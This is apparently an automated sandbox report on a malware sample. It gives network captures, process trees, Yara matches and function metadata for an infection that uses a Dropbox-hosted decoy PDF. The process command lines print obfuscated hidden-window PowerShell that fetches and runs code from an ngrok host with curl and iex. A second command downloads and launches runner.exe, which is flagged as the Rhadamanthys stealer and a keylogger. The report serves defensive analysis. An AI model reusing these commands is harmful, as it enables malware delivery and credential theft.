https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin Vary: Origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 23 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:25 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 564d202cb2444ac7a76aab3573d6fd83 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	50061	162.125.69.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:57 UTC	1607	OUT	POST /2/client_metrics/record HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 481 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:57 UTC	481	OUT	Data Raw: 7b 22 73 63 6f 70 65 73 22 3a 5b 5d 2c 22 6b 6e 6f 77 6e 5f 6e 61 6d 65 73 70 61 63 65 73 22 3a 5b 22 75 64 63 6c 22 2c 22 65 72 72 6f 72 5f 62 6f 75 6e 64 61 72 79 22 2c 22 75 73 65 72 5f 63 65 6e 74 72 69 63 5f 70 65 72 66 22 2c 22 75 78 61 5f 65 76 65 6e 74 73 22 2c 22 77 65 62 5f 70 72 6f 64 75 63 74 5f 61 6e 61 6c 79 74 69 63 73 5f 70 69 70 65 6c 69 6e 65 22 2c 22 77 65 62 5f 74 69 6d 69 6e 67 22 5d 2c 22 65 6e 76 69 72 6f 6e 6d 65 6e 74 22 3a 22 70 72 6f 64 22 2c 22 61 72 74 69 66 61 63 74 5f 6e 61 6d 65 22 3a 22 64 72 6f 70 62 6f 78 2d 77 65 62 22 2c 22 61 72 74 69 66 61 63 74 5f 76 65 72 73 69 6f 6e 22 3a 22 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 22 2c 22 63 6c 69 65 Data Ascii: {"scopes":[],"known_namespaces":["udcl","error_boundary","user_centric_perf","uxa_events","web_product_analytics_pipeline","web_timing"],"environment":"prod","artifact_name":"dropbox-web","artifact_version":"0000000000000000000000000000000000000000","clie
2024-12-19 12:45:57 UTC	594	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 1 X-Webkit-Csp: sandbox Content-Length: 2135 Date: Thu, 19 Dec 2024 12:45:57 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: d3d9d58cf5a84aa2bf5f54fa70461ec6 Connection: close
2024-12-19 12:45:57 UTC	2135	IN	Data Raw: 7b 22 64 65 62 75 67 5f 69 6e 66 6f 73 22 3a 5b 5d 2c 22 6d 61 78 5f 73 63 6f 70 65 73 5f 70 65 72 5f 72 65 71 75 65 73 74 22 3a 31 30 30 2c 22 70 75 62 6c 69 63 61 74 69 6f 6e 5f 69 6e 74 65 72 76 61 6c 5f 73 65 63 6f 6e 64 73 22 3a 36 30 2c 22 72 65 70 6f 72 74 69 6e 67 5f 63 6f 6e 66 69 67 73 22 3a 5b 7b 22 61 67 67 72 65 67 61 74 69 6f 6e 5f 69 6e 74 65 72 76 61 6c 5f 73 65 63 6f 6e 64 73 22 3a 36 30 2c 22 64 72 6f 70 5f 66 72 61 63 74 69 6f 6e 5f 6f 66 5f 68 6f 73 74 73 5f 70 65 72 5f 6d 65 74 72 69 63 22 3a 30 2c 22 64 72 6f 70 5f 70 65 72 69 6f 64 73 22 3a 7b 22 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 73 74 69 63 6b 69 6e 65 73 73 22 3a 7b 22 6c 69 6d 69 74 22 3a 7b 22 2e 74 61 67 22 3a 22 69 6e 64 65 70 65 6e 64 65 6e 74 22 7d 7d 7d 2c 22 64 72 6f Data Ascii: {"debug_infos":[],"max_scopes_per_request":100,"publication_interval_seconds":60,"reporting_configs":[{"aggregation_interval_seconds":60,"drop_fraction_of_hosts_per_metric":0,"drop_periods":{"fraction":0,"stickiness":{"limit":{".tag":"independent"}}},"dro

Target ID:	0
Start time:	07:44:13
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)
Imagebase:	0x7ff61aaf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:44:13
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:44:13
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:44:27
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:44:28
Start date:	19/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:44:28
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:44:28
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2076,i,7661811918937782434,10083933319932265787,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:44:29
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:20:28
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3584 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:20:28
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6612 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:20:29
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" "
Imagebase:	0x7ff61aaf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:20:29
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:20:30
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:20:36
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user~1\AppData\Local\Temp\53cf54c9-bd5a-44a9-afff-e5edd73e8d3d.pdf
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:20:37
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1720,i,11746275802938358263,16647309410508739553,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:20:37
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7692 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:6
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	09:20:46
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe"
Imagebase:	0x400000
File size:	2'949'120 bytes
MD5 hash:	F7A506F00E525E6D23AEE43D34219625
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:21:02
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe"
Imagebase:	0x400000
File size:	2'949'120 bytes
MD5 hash:	F7A506F00E525E6D23AEE43D34219625
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001D.00000003.1857686930.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001D.00000003.1854399183.0000000002990000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001D.00000003.1857899388.0000000005110000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001D.00000002.1865951249.0000000002B10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:21:04
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\fontdrvhost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\fontdrvhost.exe"
Imagebase:	0xf70000
File size:	676'584 bytes
MD5 hash:	8D0DA0C5DCF1A14F9D65F5C0BEA53F3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001E.00000003.1864884400.0000000005430000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001E.00000002.1955063802.00000000031B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001E.00000003.1864532293.0000000005210000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001E.00000003.1859127404.0000000000ED0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:21:05
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7936 -s 436
Imagebase:	0x960000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:21:14
Start date:	19/12/2024
Path:	C:\Windows\System32\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\fontdrvhost.exe"
Imagebase:	0x7ff6080a0000
File size:	827'408 bytes
MD5 hash:	BBCB897697B3442657C7D6E3EDDBD25F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:21:17
Start date:	19/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6372 -s 144
Imagebase:	0x7ff7d8940000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	09:21:24
Start date:	19/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6612 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFAAC4633B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1610272420.00007FFAAC460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: a54f0fa4be8d6054f103ec005683b83c969be188bebfd95841f8496549dc7ce8
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 7201677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056DE58AC3665DA36E892CB45

Analysis Process: powershell.exePID: 9024, Parent PID: 8844COMMON

Executed Functions

Function 00007FFAAC46A398 Relevance: .5, Instructions: 538COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1787713866.00007FFAAC460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffaac460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39c6a5e4a3923d385423904019bfcd4781a29f6a6f00737adbcf660adb653888
Instruction ID: 70e845c5701d869fb900c3d603c664c66f8dd3e6c1376397aeb313995a75c5c9
Opcode Fuzzy Hash: 39c6a5e4a3923d385423904019bfcd4781a29f6a6f00737adbcf660adb653888
Instruction Fuzzy Hash: C312B1A190EBC68FF756C768480D2B8BFA0EF12314F5480FAC08DD719BDA249D4D9796

Function 00007FFAAC5332E5 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1788448774.00007FFAAC530000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffaac530000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b61c7ea51284ac17e11ee2df0359b435a3446d6eaa8714f184b0d1c9b522e25
Instruction ID: e367e5f0216e5577c56973979c42051ee0a4f11ae4815df03b83abfe30229632
Opcode Fuzzy Hash: 9b61c7ea51284ac17e11ee2df0359b435a3446d6eaa8714f184b0d1c9b522e25
Instruction Fuzzy Hash: 57D14762A4EACA8FF756E76CC8685B57FA4EF46210B0841FEE04DC7193D918D80AC3D1

Function 00007FFAAC463875 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1787713866.00007FFAAC460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffaac460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 1a35971f37089be132c4527681fc4660dbe0179ef8947dac078dcfc44e096ce0
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: AA01677111CB0C8FD748EF0CE451AA5B7E0FB95364F10056EE58AC3665D636E881CB45

Non-executed Functions

Function 00007FFAAC46C308 Relevance: .9, Instructions: 880COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1787713866.00007FFAAC460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffaac460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7b3ffbca512996d4dddf23a6fbe1ec01976c2f71f25ab4a4dc73d07e2de1b61
Instruction ID: dae212e0af96210b234bb2c62e302aca17eb69f2b361b5d8c5958af7af44d120
Opcode Fuzzy Hash: e7b3ffbca512996d4dddf23a6fbe1ec01976c2f71f25ab4a4dc73d07e2de1b61
Instruction Fuzzy Hash: 07421662A0E7928FF756972C98590F5BFD0EF53329B0880BBC08EC7197DD15A80A87D5

Analysis Process: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exePID: 5696, Parent PID: 9024COMMON

Non-executed Functions

Function 004149D0 Relevance: 37.3, APIs: 13, Strings: 8, Instructions: 569COMMON

Download Yara Rule

APIs

PathRemoveFileSpecW.SHLWAPI(00000000,00000001,?,004AF2A8,00000001), ref: 00414C52
GetLastError.KERNEL32(004AF2AC,00000002,00000001,?,004AF2A8,00000001), ref: 00414C65

Part of subcall function 004151D0: CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 004151DB
Part of subcall function 004151D0: DestroyEnvironmentBlock.USERENV(00000000,?,00414C7F,?), ref: 004151E9
Part of subcall function 004151D0: CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 004151F7
Part of subcall function 004151D0: CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 00415205
Part of subcall function 004151D0: CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 00415212
Part of subcall function 004151D0: CloseHandle.KERNEL32(?,?,00414C7F,?), ref: 00415226
Part of subcall function 004151D0: CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 0041523F

Strings

In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode. Error in createProcessInUserSession with error %d., xrefs: 00414D6A, 00414D92, 00414DD8
In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode., xrefs: 00414A2D, 00414A4B, 00414A80
D, xrefs: 00414CDF
In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode. Return, xrefs: 00414E64, 00414F2C, 00414F6B
In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode. WaitForFinish is false. Returning, xrefs: 00414E1D, 00414E85, 00414EC0
ProcessUtils, xrefs: 00414A32, 00414A5A, 00414A85, 00414C9A, 00414D6F, 00414DA1, 00414DDD, 00414E22, 00414E69, 00414E94, 00414EC5, 00414F3B, 00414F70, 004150C6, 004150FC
In ProcessUtils::utilCreateProcessInUserSessionWithReturnCode. Error in utilRemoveFileSpec in currentDirectory %s , xrefs: 00414C95, 004150B7, 004150F7
OOBEUtils, xrefs: 00414A5F, 00414DA6, 00414E99, 00414F40, 004150CB

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
